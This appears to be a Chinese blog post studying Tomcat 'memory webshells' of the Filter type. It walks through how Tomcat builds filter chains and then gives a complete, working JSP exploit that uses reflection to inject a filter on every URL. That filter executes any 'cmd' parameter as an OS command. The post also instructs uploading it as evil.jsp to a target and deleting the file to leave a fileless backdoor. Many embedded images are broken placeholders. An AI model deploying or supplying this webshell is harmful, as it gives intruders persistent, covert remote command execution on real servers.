Tomcat内存马学习1:Filter型

0x00 前言

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

filter型内存马就是通过动态添加恶意filter组件到正在运行的Tomcat服务器中。导致http请求通过该filter时会执行该filter的恶意代码

今天说的时Tomcat型内存马,其大概分为以下三类

  • Filter型
  • Servlet型
  • Listener型

可以发现,其就是利用了Java Web核心的三大组件.正应了上面那句话Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中去
内存马利用条件

Servlet在3.0版本之后才能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,所以说只有在Tomcat7.0以上才能够动态添加组件

0x01环境搭建

搭建servlet环境跟的这篇

https://blog.csdn.net/gaoqingliang521/article/details/108677301

PS:其中在jar导入时,需要导入不止servlet-api

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fDX1omif-1658328149177)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720195445803.png)]

0x02 前置知识

在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-shSea0lE-1658328149178)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720201522863.png)]

context具体来说:

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4f15R3fp-1658328149178)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720201657370.png)]

PS:看ServletContext接口我们也就知道了,context能够对其所属的Web应用的资源进行访问和操作,能对它下面所有的Servlet中的各种资源进行访问、添加、删除等

package javax.servlet;
 
 
import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;
 
 
public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";
 
    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();
 
    void setAttribute(String var1, Object var2);
 
    void removeAttribute(String var1);
 
    String getServletContextName();
    
    Dynamic addServlet(String var1, String var2);
 
    Dynamic addServlet(String var1, Servlet var2);
 
 
    Dynamic addServlet(String var1, Class var2);
 
     extends Servlet> T createServlet(Classvar1) throws ServletException;
 
    ServletRegistration getServletRegistration(String var1);
 
    Map ? extends ServletRegistration> getServletRegistrations();
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
 
     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);
 
    Set getDefaultSessionTrackingModes();
 
    Set getEffectiveSessionTrackingModes();
 
    void addListener(String var1);
     extends EventListener> void addListener(T var1);
 
    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

0x03 简单demo

我们写一个filter,这个filter会获取cmd参数,然后exec

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nhGOc3ZM-1658328149178)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720202551375.png)]

当我们输入cmd=calc时就会命令执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yimARPpa-1658328149179)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720202824479.png)]

这只是个演示,实战中受害者可不会让你去写一个filter。此时我们就需要动态加载组件,将该filter直接加载到内存中去

0x04 Filter型 内存马

filter原理分析

我们的目的就是在filterchain中添加恶意filter来充当webshell角色

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GywEwn64-1658328149179)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720203229586.png)]

首先我们来分析一下filter的加载过程

在此处打上断点

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4DkjFcww-1658328149179)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720210729990.png)]

调用栈如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wzcvhvTk-1658328149180)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720210848324.png)]

我们从invoke看起

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EgseP38x-1658328149180)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720210912300.png)]

在 StandardWrapperValve#invoke中会利用 ApplicationFilterFactory来创建filterChain(filter链,此时里面没有东西,后期会根据请求的url来往进填充相应的filter),我们跟进这个方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GGfzfUkS-1658328149180)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720210941955.png)]

首先创建一个ApplicationFilterChain对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eZB7Xghd-1658328149181)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720212329411.png)]

然后在42行利用getparent获取wrapper的父亲context(即当前 Web应用),然后从context中获取该web应用所有的filters即这里的filtermaps

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D3leONT5-1658328149181)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720212530226.png)]

可以看到一共有两个,一个是系统自带的filter一个是我们写的,filtermaps本质就是一个过滤器与作用url的对应表

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zVMJqfh9-1658328149181)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213257569.png)]

下面是获取请求路径,可以看到为/test

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4qRMUdrt-1658328149182)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213142610.png)]

接下来会根据请求路径在filtermaps里面寻找对应的filter名称

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Lne8UbxM-1658328149182)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213403767.png)]

如果找对匹配的,则通过addFilter函数将该filter的filterConfig添加到filterChain中,跟进addfilter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cp6uXriu-1658328149182)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213648730.png)]

现在,我们的filterchain装配完毕,里面存在着所有与请求url匹配的filter的filterconfig

return

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h8v6cXHv-1658328149183)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213822129.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JPY8h7DA-1658328149183)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213844624.png)]

继续往下走,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上每个filter的 doFilter方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EaiaXpje-1658328149183)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720213904866.png)]

跟进doFilter,发现调用了internalDoFilter方法,继续跟进

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-soFbLVkb-1658328149183)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720214008402.png)]

可以看到,首先取出filterchain上第一个filterconfig,然后调用getFilter方法取出对应的filter即Filter1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-G9y2D9a3-1658328149184)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720214217233.png)]

在92行调用了Filter1的dofilter方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0fO6tJce-1658328149184)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720214251537.png)]

跟进,调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k82Rj2kr-1658328149184)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720214318497.png)]

以下是访问请求时调用filter的整个过程,来自宽字节安全

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UVaCIqXS-1658328149184)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720215114983.png)]

简单总结一下获取filter过程:

  1. 根据请求的url,从context的FilterMaps 中找出与之 URL 对应的 Filter 名称
  2. 再根据filter名称从FilterConfigs中寻找对应名称的FilterConfig(applicationfilterconfig对象)
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. 对于chain中的每一个filterconfig,先从FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

不难看出,大概就是先获取context中的FilterMaps然后与urlpattern匹配,对匹配上的filter进行挨个调用。那我们可以添加恶意filtermap(作用域为/*)到filtermaps中去,这样当 urlpattern 匹配的时候就会去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发dofilter恶意代码

Filter型内存马注入

我们现在目的是将恶意的filtermap添加到filtermaps中去并创建对应的filterconfig以及filterdef,那如何添加呢

这里就需要StandardContext,因为filtermaps是其成员变量

以下是如何获取standardContext对象

//参考https://goodapple.top/archives/1355
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

获取到standardContext对象后,我们就可以动态注册恶意filter了

standardContext有三个成员变量需要注意一下,分别是 filterConfigs,filterDefs,filterMaps。我们只有将我们的filter添加到这三个里面才算注册成功,如果我们可以控制这几个变量我们就可以注入我们的内存马

FilterDefs:存放FilterDef的数组 ,而FilterDef 中存储着我们过滤器名,过滤器实例 等基本信息

filterConfigs:存放filterConfig的map,键为过滤器名,值为FilterConfig对象其中主要存放 FilterDef 和 Filter对象等信息

filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName和其对应的URLPattern

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Pk9InZTU-1658328149184)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720222313114.png)]

大致流程如下:

  1. 攻击者创建一个恶意 Filter
  2. 利用 FilterDef 对 Filter 进行一个封装
  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig中
  4. 创建一个FilterMap ,将我们的 Filter 与urlpattern(一般为/*) 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

StandardContext会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,每次请求时都会将我们的filter加入到filterchain中去

最终EXP如下

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

    <%
    final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {

        }

    };


    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    /**
         * 将filterDef添加到filterDefs中
         */
    standardContext.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    /**
         * 将filtermap添加到filtermaps最前面,这样最终我们的恶意filter就在chain的最前面
         */
    standardContext.addFilterMapBefore(filterMap);

    /**
         * 将filterconfig(即ApplicationFilterConfig对象)添加到filterconfigs中
         */
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

    filterConfigs.put(name,filterConfig);
    //动态注册完毕,现在存在了一个拦截/*的filter
    out.print("Inject Success !");
}
%>

具体动态注册流程还可以以下博客动态注册filter一节

https://goodapple.top/archives/1355

0x05 漏洞复现

将上面exp保存为evil.jsp上传到目标机器,并访问

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1jJXfU7h-1658328149185)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720223239088.png)]

显示Inject Success !说明filter注入成功,此时我们注入的恶意filter在filterchain的最前面,我们只需输入?cmd=command即可执行任意命令

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w3iCwrvV-1658328149185)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220720223400391.png)]

PS:filter已经注入到内存中,此时即可删掉evil.jsp,所以说是无文件落地webshell

0x06 内存马排查方法

参考

https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na#74f91dcf

0x07 总结

  • 首先必须熟悉访问页面时filter的加载过程
  • 在此基础上,通过修改context中的filtermaps等成员变量来达到动态注册filter
  • 注册filter后,即可利用filter执行任意命令

0x08 参考文章

https://goodapple.top/archives/1355

https://www.yuque.com/tianxiadamutou/zcfd4v/kd35na

https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell

https://www.cnblogs.com/nice0e3/p/14622879.html

https://xz.aliyun.com/t/10362

https://paper.seebug.org/1441

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值